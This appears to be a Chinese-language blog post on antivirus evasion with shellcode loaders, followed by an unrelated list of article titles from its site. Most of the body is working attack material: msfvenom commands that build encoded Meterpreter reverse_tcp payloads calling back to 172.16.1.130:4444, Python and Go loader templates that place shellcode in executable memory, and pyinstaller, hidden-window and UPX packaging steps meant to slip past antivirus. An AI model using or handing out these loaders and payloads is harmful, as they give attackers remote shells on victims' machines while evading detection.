shellcode loader

借助第三方加载器,将shellcode加载到内存中来执行。

https://github.com/clinicallyinane/shellcode_launcher

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶机执行

shellcode_launcher.exe -i test.c

msf监听正常上线

csc和InstallUtil

不再赘述,参考上文白加黑

偏僻语言

实际上也不能说偏僻语言,原理是让杀软不识别文件的pe头。我们在这说两种

pyinstaller

py版的shellcode模板

#! /usr/bin/env python
# encoding:utf-8 import ctypes def execute():
# Bind shell
shellcode = bytearray(
"\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
...
"\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
"\x13"
) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py

使用pyinstaller打包

pyinstaller.py -F --console 1.py

和pyinstaller类似的还有py2exe,不再赘述。

go+upx
package main import "C"
import "unsafe" func main() {
buf := ""
buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
...省略...
buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

如果正常编译体积会很大,建议使用go build -ldflags="-s -w"参数来编译生成exe,你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

编译出来900多kb,在使用upx压缩一下会降低到200kb左右,也能正常上线。

最新文章

  1. C#工程引用自定义目录的DLL
  2. 127.0.0.1、0.0.0.0和本机IP地址的区别和使用
  3. 解决Mac下MySQL登录问题
  4. 通过java来批量生成身份证号
  5. 5个让DBA爱上你的SQL技巧
  6. 基于Win7 Python2.7的Numpy安装包分享
  7. Genymotion 插件在 Eclipse 和 Android Studio 中点击后无法初始化 Initialize Engine: failed 解决方法
  8. php之微信公众号发送模板消息
  9. Python:Day43 抽屉
  10. Python open 读和写
  11. Highcharts 使用
  12. 微信小程序开发--第一个项目
  13. (转)java调用python脚本
  14. C/C++中static,const,inline三种关键字详细总结
  15. Laravel学习笔记之Session源码解析(中)
  16. zabbix高级玩法之通过xml文件一次性导入
  17. MS-SQL
  18. MapReduce编程基础
  19. mysql添加和root用户一样的权限
  20. IE各浏览器HACK

热门文章

  1. Linux的date用法
  2. hexo博客的学习笔记
  3. 360若真入股HTC 到底是谁来拯救谁
  4. 每天一个linux命令(15)-tail
  5. sycCMS PHP V1.0---呵呵呵呵呵
  6. Go基础学习(二)
  7. Pycharm2019.2激活至2089年
  8. 动态构造任意复杂的 Linq Where 表达式
  9. czC#01
  10. eslint webpack2 vue-loader配置